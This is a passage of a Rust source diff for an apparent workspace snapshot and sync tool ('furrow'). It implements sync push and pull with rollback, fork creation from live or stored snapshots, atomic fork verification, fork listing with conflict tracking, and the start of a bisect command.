repository.timeline(limit.saturating_add(1))?; + let head = timeline.first().map(|snapshot| snapshot.id.clone()); + let (cursor_found, mut snapshots) = match after { + None => (true, timeline.into_iter().take(1).collect::>()), + Some(cursor) => { + anyhow::ensure!( + cursor.len() == 64 && cursor.bytes().all(|byte| byte.is_ascii_hexdigit()), + "fork update cursor must be a full snapshot ID" + ); + let position = timeline.iter().position(|snapshot| snapshot.id == cursor); + match position { + Some(position) => (true, timeline.into_iter().take(position).collect()), + None => (false, timeline.into_iter().take(limit).collect()), + } + } + }; + snapshots.reverse(); + Ok(ForkUpdates { + fork: name.to_owned(), + head, + cursor_found, + snapshots, + }) + } + + pub fn pair( + &self, + remote: &Path, + namespace: &str, + key: Option<&str>, + ) -> anyhow::Result { + let summary = sync::pair(&self.sync_config_path(), remote, namespace, key)?; + let key_bytes = hex::decode(&summary.key_hex)?; + let mut key = [0_u8; 32]; + key.copy_from_slice(&key_bytes); + let mut hasher = blake3::Hasher::new_keyed(&key); + hasher.update(b"furrow:paired-family:v1\0"); + hasher.update(namespace.as_bytes()); + let family_id = hex::encode(&hasher.finalize().as_bytes()[..16]); + let home = IdentityHome::of(self.overlay.is_some()); + write_family_id( + home, + &self.root, + &self.store, + &self.workspace_id, + &family_id, + )?; + let state = self.sync_state_path(); + if state.exists() { + fs::remove_file(state)?; + } + Ok(summary) + } + + pub fn sync_push( + &mut self, + takeover: bool, + ref_name: Option<&str>, + ) -> anyhow::Result { + let config = sync::load(&self.sync_config_path())?; + let mut remote = sync::open_session(&config, ref_name)?; + self.sync_push_on(takeover, &config, &mut remote) + } + + fn sync_push_on( + &mut self, + takeover: bool, + config: &sync::PairConfig, + remote: &mut crate::remote::Session, + ) -> anyhow::Result { + let snapshot = self.snapshot( + Some("sync push boundary".to_owned()), + SnapshotTrigger::SyncPush, + )?; + let expected = self.read_sync_state()?.map(|state| state.remote_root); + let report = sync::push_on(&self.store, snapshot, config, expected, takeover, remote)?; + self.write_sync_state(parse_id(&report.root)?)?; + Ok(report) + } + + pub fn sync_pull( + &mut self, + bootstrap: bool, + ref_name: Option<&str>, + ) -> anyhow::Result { + let config = sync::load(&self.sync_config_path())?; + let mut remote = sync::open_session(&config, ref_name)?; + self.sync_pull_on(bootstrap, true, &config, &mut remote) + } + + /// Publish an already sealed snapshot from the shared object store to a + /// named remote ref through this workspace's pairing, without touching the + /// workspace's own head. Used by `furrow work` to push a headless job + /// result under an independent result ref so it never contends with the + /// input ref or another concurrent job. + pub fn push_snapshot_to_ref( + &self, + snapshot: &ObjectId, + ref_name: &str, + ) -> anyhow::Result { + let _: Snapshot = self.store.read_struct(snapshot, ObjectKind::Snapshot)?; + let config = sync::load(&self.sync_config_path())?; + let mut remote = sync::open_session(&config, Some(ref_name))?; + sync::push_on(&self.store, *snapshot, &config, None, false, &mut remote) + } + + /// Seal the current workspace state as a direct descendant of `base`, so a + /// downstream `furrow merge --snapshot` derives the job's input snapshot as + /// its merge base. The fork the job ran in was materialized from the store + /// and carries its own fresh checkpoint head; recording that head would + /// sever the input snapshot from the ancestry a merge can follow (and it is + /// never transported), so `base` is recorded as the parent instead. + pub fn snapshot_recording_base( + &mut self, + label: Option, + trigger: SnapshotTrigger, + base: &ObjectId, + ) -> anyhow::Result { + self.snapshot_internal_with_parent(label, trigger, None, Vec::new(), Some(*base)) + } + + fn sync_pull_on( + &mut self, + bootstrap: bool, + seal_boundary: bool, + config: &sync::PairConfig, + remote: &mut crate::remote::Session, + ) -> anyhow::Result { + let prior_sync = self.read_sync_state()?; + let local = if seal_boundary { + self.snapshot( + Some("sync pull boundary".to_owned()), + SnapshotTrigger::SyncLocal, + )? + } else { + self.store + .workspace_head(&self.workspace_id)? + .context("workspace has no sealed snapshot")? + }; + let local_snapshot: Snapshot = self.store.read_struct(&local, ObjectKind::Snapshot)?; + + // The maintenance guard spans the entire transfer. Imported objects are + // not reachable until a durable root (restore.intent or incoming.json) + // names them, so holding it shut closes the assembly/publication GC race + // while streaming keeps memory bounded by the disk-backed queue. + let maintenance = self.store.acquire_maintenance_shared()?; + + // Fetch the snapshot and full tree skeleton first: enough to compute the + // apply plan and the adopt/divergence decision before any blob moves. + let mut pull = sync::StreamingPull::begin(&self.store, config, remote)?; + let remote_snapshot: Snapshot = self + .store + .read_struct(&pull.snapshot(), ObjectKind::Snapshot)?; + if !remote_snapshot.claims.is_empty() { + claims::Registry::open(self.store.root(), &self.family_id)? + .restore(&remote_snapshot.claims)?; + } + + if local_snapshot.root_tree == remote_snapshot.root_tree { + // Nothing to materialize, but the whole graph must still land and be + // verified before the local identity adopts the remote snapshot. + let pulled = pull.finish()?; + self.write_sync_incoming(pulled.snapshot)?; + drop(maintenance); + self.write_sync_state(pulled.root)?; + self.clear_sync_incoming()?; + return Ok(sync_pull_outcome( + SyncDisposition::UpToDate, + id_hex(&local), + &pulled, + ApplyTimings::default(), + )); + } + + let can_fast_forward = pull.base_root() == Some(local_snapshot.root_tree) + || prior_sync.as_ref().is_some_and(|state| { + pull.base_root() == Some(state.remote_root) + && state.local_root == Some(local_snapshot.root_tree) + }) + || bootstrap; + + if !can_fast_forward { + // Divergence: land and verify the whole remote graph so it can be + // inspected or materialized later, leaving incoming.json as its root. + let pulled = pull.finish()?; + self.write_sync_incoming(pulled.snapshot)?; + drop(maintenance); + return Ok(sync_pull_outcome( + SyncDisposition::Diverged, + id_hex(&local), + &pulled, + ApplyTimings::default(), + )); + } + + // Fast-forward / bootstrap: stream-materialize the delta while blobs are + // still arriving, then adopt the remote snapshot once the whole graph is + // durable and verified. This body is inlined (rather than a helper) so + // that `pull`'s shared borrow of the store is seen to end at + // `pull.finish()`, freeing the exclusive publish that follows. + let incoming_id = pull.snapshot(); + let incoming = &remote_snapshot; + let local_id = local; + let local = &local_snapshot; + let lock = self.acquire_mutation_lock()?; + let diff_started = Instant::now(); + let policy = self.load_policy()?; + let protected = policy.union(&CapturePolicy::from_rules(&incoming.excluded_paths)?); + let mut changes = Vec::new(); + self.diff_directory( + Some(local.root_tree), + Some(incoming.root_tree), + Vec::new(), + &[], + &mut changes, + )?; + changes.retain(|change| { + change.raw_path != b".furrow" + && !is_identity_path(&change.raw_path) + && !protected.excludes_bytes(&change.raw_path) + }); + let plan = RewindPlan { + preview_digest: rewind_preview_digest( + &id_hex(&incoming_id), + Some(&id_hex(&local.root_tree)), + &changes, + ), + target: id_hex(&incoming_id), + current_tree: Some(id_hex(&local.root_tree)), + changes, + held: Vec::new(), + }; + let local_entries = self.entries_for_changed_paths(&local.root_tree, &plan)?; + let incoming_entries = self.entries_for_plan(&incoming.root_tree, &plan)?; + let diff_compute_ms = duration_ms(diff_started.elapsed()); + + // The sync boundary snapshot is the divergence proof. Check only paths + // in the delta before mutating, then trust the verified CAS objects we + // just imported rather than hashing the materialized files again. + let divergence_started = Instant::now(); + self.verify_plan_state(&self.root, &local_entries, &plan, &[])?; + let divergence_check_ms = duration_ms(divergence_started.elapsed()); + let apply_guard = ApplyGuard::begin( + &self.workspace_data_dir(), + &self.root, + plan.changes + .iter() + .map(|change| PathBuf::from(OsString::from_vec(change.raw_path.clone()))), + )?; + self.write_restore_intent(&RestoreIntent { + pre_snapshot: local_id, + target_snapshot: incoming_id, + paths: Vec::new(), + })?; + let write_started = Instant::now(); + // Stream the delta: fetch each file's blob/chunk subgraph immediately + // before writing it, in deterministic tree order (the target map iterates + // paths in sorted order). Materialization therefore overlaps the transfer + // instead of waiting for the full graph. + let stream_result = self.apply_plan_at_with_file_sync( + &self.root, + &incoming_entries, + &plan, + &[], + ApplyMode { + sync_each_file: false, + links: Some(incoming), + }, + |entry| { + pull.fetch_file(entry.target.context("file missing blob ID")?)?; + if let Some(xattrs) = entry.xattrs { + pull.fetch_object(xattrs, ObjectKind::Xattrs)?; + } + pull.note_materialized(); + Ok(()) + }, + ); + if let Err(error) = stream_result { + let mut rollback_changes = Vec::new(); + self.diff_directory( + Some(incoming.root_tree), + Some(local.root_tree), + Vec::new(), + &[], + &mut rollback_changes, + )?; + rollback_changes.retain(|change| { + change.raw_path != b".furrow" + && !is_identity_path(&change.raw_path) + && !protected.excludes_bytes(&change.raw_path) + }); + let rollback_plan = RewindPlan { + preview_digest: String::new(), + target: id_hex(&local_id), + current_tree: Some(id_hex(&incoming.root_tree)), + changes: rollback_changes, + held: Vec::new(), + }; + let rollback_entries = self.entries_for_plan(&local.root_tree, &rollback_plan)?; + self.apply_plan_at(&self.root, &rollback_entries, &rollback_plan, &[]) + .context("sync apply failed and rollback also failed")?; + self.clear_restore_intent()?; + FileExt::unlock(&lock)?; + return Err(error.context("sync apply failed; the local state was restored")); + } + let write_ms = duration_ms(write_started.elapsed()); + + // Every planned file is durable. Fetch whatever the plan did not cover + // (reused paths, SQLite backups) and re-verify the entire graph before + // adopting — the identical crash-safe gate as a non-streaming pull. + let pulled = pull.finish()?; + self.write_sync_incoming(pulled.snapshot)?; + // The full graph is durable and kept alive by restore.intent and + // incoming.json, so the shared guard can be released for publication to + // take the exclusive maintenance lock. + drop(maintenance); + + let fsync_started = Instant::now(); + self.sync_applied_delta(&incoming_entries, &plan)?; + let fsync_ms = duration_ms(fsync_started.elapsed()); + + let baseline_started = Instant::now(); + self.install_snapshot_index(incoming.root_tree, &plan)?; + let baseline_install_ms = duration_ms(baseline_started.elapsed()); + let watcher_started = Instant::now(); + apply_guard.finish()?; + let watcher_requiesce_ms = duration_ms(watcher_started.elapsed()); + self.store.publish_snapshot( + &self.workspace_id, + incoming_id, + incoming.sealed_at_secs, + incoming.label.clone(), + incoming.trigger.clone(), + )?; + self.clear_restore_intent()?; + FileExt::unlock(&lock)?; + let apply_timings = ApplyTimings { + diff_compute_ms, + divergence_check_ms, + write_ms, + fsync_ms, + baseline_install_ms, + watcher_requiesce_ms, + }; + self.write_sync_state(pulled.root)?; + self.clear_sync_incoming()?; + Ok(sync_pull_outcome( + if bootstrap { + SyncDisposition::Bootstrapped + } else { + SyncDisposition::FastForwarded + }, + id_hex(&pulled.snapshot), + &pulled, + apply_timings, + )) + } + + fn write_sync_incoming(&self, snapshot: ObjectId) -> anyhow::Result<()> { + let incoming = serde_json::json!({ "snapshot": snapshot }); + let path = self.sync_incoming_path(); + if let Some(parent) = path.parent() { + fs::create_dir_all(parent)?; + } + atomic_write(&path, &serde_json::to_vec(&incoming)?) + } + + fn install_snapshot_index(&self, root: ObjectId, plan: &RewindPlan) -> anyhow::Result<()> { + let mut index = self.open_path_index()?; + index.begin()?; + for change in &plan.changes { + if change.action == "remove" { + index.remove_subtree(&change.raw_path)?; + } else { + index.remove(&change.raw_path)?; + } + } + for change in &plan.changes { + let Some(entry) = self.lookup_tree_path(&root, &change.raw_path)? else { + continue; + }; + let parent = change + .raw_path + .iter() + .rposition(|byte| *byte == b'/') + .map_or(&[][..], |separator| &change.raw_path[..separator]); + index.upsert(&change.raw_path, parent, &entry)?; + } + index.set_root(&root, &self.store_generation()?)?; + index.commit() + } + + /// Makes the delta a plan just wrote durable in one batch. + fn sync_applied_delta( + &self, + target: &BTreeMap, FlatEntry>, + plan: &RewindPlan, + ) -> anyhow::Result<()> { + Ok(applied_writes(&self.root, target, plan)?.make_durable()?) + } + + pub fn sync_follow_session(&self, ref_name: Option<&str>) -> anyhow::Result { + let config = sync::load(&self.sync_config_path())?; + let remote = sync::open_session(&config, ref_name)?; + Ok(SyncFollowSession { + config, + remote, + pending_notify_ms: None, + }) + } + + pub fn sync_follow_once( + &mut self, + session: &mut SyncFollowSession, + ) -> anyhow::Result { + let remote_root = sync::published_root_on(&session.config, &mut session.remote)?; + let local_head = self + .store + .workspace_head(&self.workspace_id)? + .context("workspace has no sealed snapshot")?; + let local_snapshot: Snapshot = self.store.read_struct(&local_head, ObjectKind::Snapshot)?; + let last_synced = self.read_sync_state()?; + + match remote_root { + None => Ok(SyncFollowOutcome::Published { + report: self.sync_push_on(true, &session.config, &mut session.remote)?, + }), + Some(remote_root) + if last_synced.as_ref().is_some_and(|state| { + state.remote_root == remote_root + && state.local_root == Some(local_snapshot.root_tree) + }) || (last_synced.is_none() && local_snapshot.root_tree == remote_root) => + { + if last_synced.is_none() { + self.write_sync_state(remote_root)?; + } + Ok(SyncFollowOutcome::Idle) + } + Some(remote_root) + if last_synced + .as_ref() + .is_some_and(|state| state.remote_root == remote_root) => + { + Ok(SyncFollowOutcome::Published { + report: self.sync_push_on(true, &session.config, &mut session.remote)?, + }) + } + Some(_) => { + let mut outcome = + self.sync_pull_on(false, false, &session.config, &mut session.remote)?; + outcome.timings.notify_ms = session.pending_notify_ms.take(); + Ok(SyncFollowOutcome::Pulled { outcome }) + } + } + } + + pub fn prepare_fork(&mut self, name: &str, destination: &Path) -> anyhow::Result { + validate_fork_name(name)?; + let destination = prepare_fork_destination(destination)?; + + let base = self.snapshot( + Some(format!("fork base: {name}")), + SnapshotTrigger::ForkBase, + )?; + let usage = self.open_path_index()?.usage()?; + Ok(build_fork_plan( + new_fork_id()?, + name, + destination, + id_hex(&base), + TreeUsage { + files: usage.files, + directories: usage.directories, + symlinks: usage.symlinks, + fifos: usage.fifos, + skipped_special: usage.special, + logical_bytes: usage.logical_bytes, + }, + false, + )) + } + + /// Plan a fork materialized from a stored snapshot instead of the live + /// working directory (`furrow fork --at `). + pub fn prepare_fork_at( + &mut self, + name: &str, + destination: &Path, + at: &ObjectId, + ) -> anyhow::Result { + validate_fork_name(name)?; + let destination = prepare_fork_destination(destination)?; + + let snapshot: Snapshot = self + .store + .read_struct(at, ObjectKind::Snapshot) + .with_context(|| format!("unknown snapshot {}", id_hex(at)))?; + let materialization = self.materialization(at)?; + anyhow::ensure!( + materialization.grade == "exact", + "snapshot {} is partial and cannot be forked; {} path(s) are missing bytes: {}", + id_hex(at), + materialization.missing_paths.len(), + materialization + .missing_paths + .iter() + .map(|missing| missing.path.as_str()) + .collect::>() + .join(", ") + ); + let mut usage = TreeUsage::default(); + for entry in self.flatten_tree(&snapshot.root_tree)?.values() { + usage.record(&entry.entry); + } + Ok(build_fork_plan( + new_fork_id()?, + name, + destination, + id_hex(at), + usage, + true, + )) + } + + pub fn materialize_fork(&mut self, plan: ForkPlan) -> anyhow::Result { + validate_fork_name(&plan.name)?; + validate_fork_id(&plan.fork_id)?; + let destination = absolute_destination(&plan.destination)?; + anyhow::ensure!( + destination == plan.destination, + "prepared fork destination changed" + ); + anyhow::ensure!( + !destination.exists(), + "fork destination already exists: {}", + destination.display() + ); + let base = parse_id(&plan.base_snapshot)?; + let _: Snapshot = self.store.read_struct(&base, ObjectKind::Snapshot)?; + + if plan.at_snapshot { + return self.materialize_fork_from_snapshot(&plan, destination, base); + } + + let report = fork_workspace_excluding(&self.root, &destination, &[Path::new(".furrow")])?; + + // A copied workspace identity would alias two mutable directories onto + // one timeline. It is transport metadata, not captured user state. + let copied_identity = destination.join(WORKSPACE_FILE); + if copied_identity.exists() { + fs::remove_file(&copied_identity)?; + } + let (fork_repository, fork_head) = if report.atomic_hierarchy { + self.verify_atomic_fork(&base, &destination, &report)?; + let fork_repository = FurrowRepository::attach_existing_snapshot(&destination, base)?; + self.open_path_index()? + .backup_to(&fork_repository.workspace_data_dir().join("paths.sqlite3"))?; + (fork_repository, base) + } else { + let (fork_repository, fork_head) = FurrowRepository::watch(&destination)?; + if !self.snapshots_match_fork(&base, &fork_repository, &fork_head)? { + bail!( + "source changed while the fork was being created; the isolated copy remains at {} for inspection", + destination.display() + ); + } + (fork_repository, fork_head) + }; + self.finalize_fork(&plan, destination, base, fork_repository, fork_head, report) + } + + pub fn fork(&mut self, name: &str, destination: &Path) -> anyhow::Result { + let plan = self.prepare_fork(name, destination)?; + self.materialize_fork(plan) + } + + /// Fork `plan` (already scoped to `base_snapshot`, see [`Self::prepare_fork_at`]) + /// by materializing it from the object store instead of the live workspace. + /// + /// Entries that already match the live workspace are cloned per-file with + /// the same native copy-on-write primitive used by a live fork; entries + /// that differ, are missing, or where cloning is unavailable are restored + /// from the store, exactly as `rewind` would produce them. The result is + /// verified against `base` before publication, so a source that changes + /// concurrently is caught rather than silently forked from a torn state. + fn materialize_fork_from_snapshot( + &mut self, + plan: &ForkPlan, + destination: PathBuf, + base: ObjectId, + ) -> anyhow::Result { + let started = Instant::now(); + let _maintenance = self.store.acquire_maintenance_shared()?; + let snapshot: Snapshot = self.store.read_struct(&base, ObjectKind::Snapshot)?; + let target = self.flatten_tree(&snapshot.root_tree)?; + + // Entries absent from this diff are byte-identical to the live + // workspace (same content, mode, mtime, and xattrs) and are eligible + // for the CoW fast path instead of a store restore. + let current_tree = self.capture_root_retry()?; + let mut diff = Vec::new(); + self.diff_directory( + Some(current_tree), + Some(snapshot.root_tree), + Vec::new(), + &[], + &mut diff, + )?; + let differs_from_live: BTreeSet> = + diff.into_iter().map(|change| change.raw_path).collect(); + drop(_maintenance); + + let destination_parent = destination + .parent() + .unwrap_or_else(|| Path::new(".")) + .to_path_buf(); + let staging = tempfile::Builder::new() + .prefix(".furrow-fork-at-") + .tempdir_in(&destination_parent) + .with_context(|| { + format!( + "create fork staging directory in {}", + destination_parent.display() + ) + })?; + let staging_path = staging.path().to_path_buf(); + let root_mode = fs::symlink_metadata(&self.root)?.permissions().mode(); + fs::set_permissions(&staging_path, fs::Permissions::from_mode(root_mode))?; + + let mut usage = TreeUsage::default(); + let mut cow_cloned = TreeUsage::default(); + let mut store_restored = TreeUsage::default(); + for (path, flat) in &target { + usage.record(&flat.entry); + let destination_path = safe_join(&staging_path, path)?; + match flat.entry.kind { + EntryKind::Directory => { + prepare_directory(&destination_path, &flat.entry)?; + } + EntryKind::File => { + if let Some(parent) = destination_path.parent() { + fs::create_dir_all(parent)?; + } + let live_path = safe_join(&self.root, path)?; + let cloned = !differs_from_live.contains(path) + && try_clone_file(&live_path, &destination_path); + if cloned { + self.apply_captured_metadata(&destination_path, &flat.entry)?; + cow_cloned.record(&flat.entry); + } else { + self.restore_file(&destination_path, &flat.entry)?; + store_restored.record(&flat.entry); + } + } + EntryKind::Symlink => { + if let Some(parent) = destination_path.parent() { + fs::create_dir_all(parent)?; + } + std::os::unix::fs::symlink( + OsString::from_vec(flat.entry.link_target.clone()), + &destination_path, + )?; + let mtime = + FileTime::from_unix_time(flat.entry.mtime_secs, flat.entry.mtime_nanos); + filetime::set_symlink_file_times(&destination_path, mtime, mtime)?; + } + EntryKind::Fifo => { + if let Some(parent) = destination_path.parent() { + fs::create_dir_all(parent)?; + } + let cpath = std::ffi::CString::new(destination_path.as_os_str().as_bytes())?; + let result = + unsafe { libc::mkfifo(cpath.as_ptr(), flat.entry.mode as libc::mode_t) }; + if result != 0 { + return Err(std::io::Error::last_os_error().into()); + } + } + EntryKind::SocketMarker => {} + } + } + // Directory modes and mtimes are applied last, deepest first, so a + // read-only directory is filled while writable and its children do + // not overwrite the captured timestamp. + for (path, flat) in target.iter().rev() { + if flat.entry.kind == EntryKind::Directory { + finish_directory(&safe_join(&staging_path, path)?, &flat.entry)?; + } + } + + fs::rename(&staging_path, &destination) + .with_context(|| format!("publish fork {}", destination.display()))?; + File::open(&destination_parent)?.sync_all()?; + std::mem::forget(staging); + + let tier = match (cow_cloned.files, store_restored.files) { + (_, 0) if cow_cloned.files > 0 => ForkTier::NativeCow, + (0, _) => ForkTier::StreamingCopy, + _ => ForkTier::Mixed, + }; + let report = ForkReport { + tier, + files: usage.files, + directories: usage.directories, + symlinks: usage.symlinks, + fifos: usage.fifos, + skipped_special: usage.skipped_special, + logical_bytes: usage.logical_bytes, + cloned_bytes: cow_cloned.logical_bytes, + copied_bytes: store_restored.logical_bytes, + hardlinked_files: 0, + elapsed: started.elapsed(), + atomic_hierarchy: false, + }; + + let (fork_repository, fork_head) = FurrowRepository::watch(&destination)?; + if !self.snapshots_match_fork(&base, &fork_repository, &fork_head)? { + bail!( + "source changed while the fork was being created; the isolated copy remains at {} for inspection", + destination.display() + ); + } + self.finalize_fork(plan, destination, base, fork_repository, fork_head, report) + } + + fn finalize_fork( + &mut self, + plan: &ForkPlan, + destination: PathBuf, + base: ObjectId, + mut fork_repository: FurrowRepository, + fork_head: ObjectId, + report: ForkReport, + ) -> anyhow::Result { + self.adopt_family(&mut fork_repository)?; + write_fork_id(&fork_repository, &plan.fork_id)?; + let summary = fork_summary( + &plan.fork_id, + &plan.name, + destination, + base, + fork_head, + report, + ); + let record_path = self.forks_dir().join(format!("{}.json", plan.name)); + fs::create_dir_all(self.forks_dir())?; + atomic_write(&record_path, &serde_json::to_vec_pretty(&summary)?)?; + Ok(summary) + } + + /// Makes a fresh fork a sibling of this workspace. The copy leaves `.furrow` + /// behind, so the fork attaches with a family of its own; without this its + /// claims, radar and coord values would never meet its siblings'. + fn adopt_family(&self, fork: &mut FurrowRepository) -> anyhow::Result<()> { + write_family_id( + IdentityHome::Workspace, + &fork.root, + &fork.store, + &fork.workspace_id, + &self.family_id, + )?; + fork.family_id = self.family_id.clone(); + Ok(()) + } + + /// Reapply a captured entry's mode, extended attributes, and mtime after + /// cloning its content straight from the live workspace file. + fn apply_captured_metadata(&self, destination: &Path, entry: &TreeEntry) -> anyhow::Result<()> { + fs::set_permissions(destination, fs::Permissions::from_mode(entry.mode))?; + if let Some(xattrs_id) = entry.xattrs { + let xattrs: Xattrs = self.store.read_struct(&xattrs_id, ObjectKind::Xattrs)?; + for xattr in restorable_xattrs(xattrs.entries) { + match xattr::set(destination, OsStr::from_bytes(&xattr.name), &xattr.value) { + Ok(()) => {} + Err(error) + if matches!( + error.kind(), + std::io::ErrorKind::PermissionDenied | std::io::ErrorKind::Unsupported + ) || error.raw_os_error() == Some(libc::ENOTSUP) => {} + Err(error) => return Err(error.into()), + } + } + } + let mtime = FileTime::from_unix_time(entry.mtime_secs, entry.mtime_nanos); + filetime::set_file_mtime(destination, mtime)?; + Ok(()) + } + + fn attach_existing_snapshot(root: &Path, snapshot_id: ObjectId) -> anyhow::Result { + let root = root.canonicalize()?; + fs::create_dir_all(root.join(".furrow"))?; + let workspace_id = new_workspace_id(&root); + atomic_write( + &root.join(WORKSPACE_FILE), + format!("{workspace_id}\n").as_bytes(), + )?; + let mut store = ObjectStore::open(data_root()?.join(STORE_DIR))?; + let snapshot: Snapshot = store.read_struct(&snapshot_id, ObjectKind::Snapshot)?; + store.ensure_workspace(&workspace_id, root.as_os_str().as_bytes())?; + let family_id = ensure_family_id(IdentityHome::Workspace, &root, &store, &workspace_id)?; + store.publish_snapshot( + &workspace_id, + snapshot_id, + snapshot.sealed_at_secs, + Some("atomic fork base".to_owned()), + SnapshotTrigger::ForkBase, + )?; + Ok(Self { + root, + workspace_id, + family_id, + store, + overlay: None, + }) + } + + fn verify_atomic_fork( + &self, + base: &ObjectId, + destination: &Path, + report: &ForkReport, + ) -> anyhow::Result<()> { + let snapshot: Snapshot = self.store.read_struct(base, ObjectKind::Snapshot)?; + let index = self.open_path_index()?; + anyhow::ensure!( + index.root(&self.store_generation()?)? == Some(snapshot.root_tree), + "source path index no longer describes the fork base" + ); + let usage = index.usage()?; + let expected_entries = usage + .files + .saturating_add(usage.directories.saturating_sub(1)) + .saturating_add(usage.symlinks) + .saturating_add(usage.fifos) + .saturating_add(usage.special); + let policy = self.load_policy()?; + let counts_match = report.files == usage.files + && report.directories == usage.directories + && report.symlinks == usage.symlinks + && report.fifos == usage.fifos + && report.skipped_special == usage.special; + if policy.rule_strings().is_empty() && counts_match { + let mut after: Option> = None; + loop { + let entries = index.entries_after(after.as_deref(), CHILD_BATCH)?; + if entries.is_empty() { + break; + } + let paths: Vec<_> = entries.iter().map(|(path, _)| path.clone()).collect(); + let cached = self.store.cached_files(&self.workspace_id, &paths)?; + for ((relative, indexed), cached) in entries.iter().zip(&cached) { + if is_identity_path(relative) { + continue; + } + self.verify_atomic_entry(destination, relative, indexed, cached.as_ref())?; + } + after = entries.last().map(|(path, _)| path.clone()); + } + return Ok(()); + } + + let mut visited = 0_u64; + let mut stack = vec![destination.to_owned()]; + while let Some(directory) = stack.pop() { + for entry in fs::read_dir(&directory)? { + let entry = entry?; + let path = entry.path(); + let relative = path.strip_prefix(destination)?.as_os_str().as_bytes(); + if is_identity_path(relative) || policy.excludes_bytes(relative) { + continue; + } + let indexed = index.entry(relative)?.with_context(|| { + format!( + "atomic fork added `{}` after its base seal", + String::from_utf8_lossy(relative) + ) + })?; + let cached = if indexed.kind == EntryKind::File { + self.store.cached_file(&self.workspace_id, relative)? + } else { + None + }; + self.verify_atomic_entry(destination, relative, &indexed, cached.as_ref())?; + if indexed.kind == EntryKind::Directory { + stack.push(path); + } + visited += 1; + } + } + anyhow::ensure!( + visited == expected_entries, + "atomic fork is missing {} base path(s)", + expected_entries.saturating_sub(visited) + ); + Ok(()) + } + + fn verify_atomic_entry( + &self, + destination: &Path, + relative: &[u8], + indexed: &TreeEntry, + cached: Option<&CachedFile>, + ) -> anyhow::Result<()> { + let path = safe_join(destination, relative)?; + let metadata = fs::symlink_metadata(&path)?; + anyhow::ensure!( + entry_matches_metadata(indexed, &metadata), + "atomic fork metadata changed for `{}`", + String::from_utf8_lossy(relative) + ); + match indexed.kind { + EntryKind::Directory => anyhow::ensure!( + self.capture_xattrs(&path)? == indexed.xattrs, + "atomic fork xattrs changed for `{}`", + String::from_utf8_lossy(relative) + ), + EntryKind::File => { + let source = safe_join(&self.root, relative)?; + let source_metadata = fs::symlink_metadata(source)?; + let cached = cached.context("fork base file cache is incomplete")?; + anyhow::ensure!( + cached_matches(cached, &source_metadata) + && indexed.target == Some(cached.blob_id), + "source changed while its atomic fork was created" + ); + } + EntryKind::Symlink => anyhow::ensure!( + fs::read_link(&path)?.as_os_str().as_bytes() == indexed.link_target, + "atomic fork symlink changed for `{}`", + String::from_utf8_lossy(relative) + ), + EntryKind::Fifo | EntryKind::SocketMarker => {} + } + Ok(()) + } + + pub fn forks(&self) -> anyhow::Result> { + let directory = self.forks_dir(); + let mut forks = Vec::new(); + if directory.exists() { + for entry in fs::read_dir(directory)? { + let entry = entry?; + if entry.file_type()?.is_file() + && entry.path().extension() == Some(OsStr::new("json")) + { + let mut fork: ForkSummary = serde_json::from_slice(&fs::read(entry.path())?)?; + if fork.fork_id.is_empty() { + fork.fork_id = legacy_fork_id(&fork.name, &fork.base_snapshot); + } + // Radar fields are derived from family state at read time. + fork.conflicts = 0; + fork.conflict_paths.clear(); + fork.radar_stale = false; + fork.radar_updated_at = None; + forks.push(fork); + } + } + } + forks.sort_by(|left: &ForkSummary, right: &ForkSummary| { + right + .created_at + .cmp(&left.created_at) + .then_with(|| left.name.cmp(&right.name)) + }); + let mut radar = Radar::open(self.store.root(), &self.family_id)?; + let claims = self.active_claims()?; + radar.retain_universes( + &forks + .iter() + .map(|fork| fork.fork_id.clone()) + .collect::>(), + &claims, + )?; + for fork in &mut forks { + fork.radar_stale = !fork.destination.exists(); + if !fork.destination.exists() { + continue; + } + let fork_repository = match FurrowRepository::open(&fork.destination) { + Ok(repository) => repository, + Err(_) => { + fork.radar_stale = true; + continue; + } + }; + let Some(head) = fork_repository + .store + .workspace_head(&fork_repository.workspace_id)? + else { + continue; + }; + let base = parse_id(&fork.base_snapshot)?; + radar.observe( + &self.store, + UniverseRegistration { + fork_id: &fork.fork_id, + name: &fork.name, + workspace_id: &fork_repository.workspace_id, + base_snapshot: base, + head_snapshot: head, + }, + )?; + fork.head_snapshot = id_hex(&head); + } + radar.reconcile(&claims)?; + let conflicts = radar.summaries()?; + let updated_at = radar.updated_at()?; + for fork in &mut forks { + fork.radar_updated_at = updated_at.get(&fork.fork_id).copied(); + if let Some(summary) = conflicts.get(&fork.fork_id) { + fork.conflicts = summary.count; + fork.conflict_paths = summary + .paths + .iter() + .map(|path| display_relative(path)) + .collect(); + } + } + Ok(forks) + } + + pub fn events(&self, after: Option<&str>, limit: usize) -> anyhow::Result { + // Inventory refresh is also the reconciliation path for seals published + // before a crash or while no event consumer was connected. + let _ = self.forks()?; + Radar::open(self.store.root(), &self.family_id)?.events_after(after, limit) + } + + pub fn diff(&mut self, target: &str) -> anyhow::Result { + if let Some(mut fork) = self.forks()?.into_iter().find(|fork| fork.name == target) { + anyhow::ensure!( + fork.destination.exists(), + "fork directory no longer exists: {}", + fork.destination.display() + ); + let mut fork_repository = FurrowRepository::open(&fork.destination)?; + let head = fork_repository.snapshot( + Some(format!("inspection boundary for {}", fork.name)), + SnapshotTrigger::Inspection, + )?; + fork.head_snapshot = id_hex(&head); + atomic_write( + &self.forks_dir().join(format!("{}.json", fork.name)), + &serde_json::to_vec_pretty(&fork)?, + )?; + let base = parse_id(&fork.base_snapshot)?; + return self.diff_snapshot_pair(fork.name, base, head); + } + + let base = self.resolve_snapshot(target)?; + let head = self.snapshot( + Some(format!("inspection since {}", &id_hex(&base)[..12])), + SnapshotTrigger::Inspection, + )?; + self.diff_snapshot_pair(target.to_owned(), base, head) + } + + pub fn bisect( + &mut self, + command: &[OsString], + good: Option<&str>, + bad: Option<&str>, + limit: usize, + ) -> anyhow::Result { + anyhow::ensure!(!command.is_empty(), "bisect command cannot be empty"); + anyhow::ensure!( + (2..=10_000).contains(&limit), + "bisect limit must be 2..=10000" + ); + anyhow::ensure!( + good.is_some() == bad.is_some(), + "--good and --bad must be provided together" + ); + + let boundary = self.snapshot( + Some("bisect source boundary".to_owned()), + SnapshotTrigger::Inspection, + )?; + let mut candidates: Vec<_> = self + .store + .timeline(&self.workspace_id, limit)? + .into_iter() + .map(|row| (row.id, row.label)) + .collect(); + candidates.reverse(); + anyhow::ensure!( + candidates.len() >= 2, + "bisect requires at least two retained snapshots" + ); + + let (good_index, bad_index) = match (good, bad) { + (Some(good), Some(bad)) => { + let good = self.resolve_snapshot(good)?; + let bad = self.resolve_snapshot(bad)?; + let good_index = candidates + .iter() + .position(|(id, 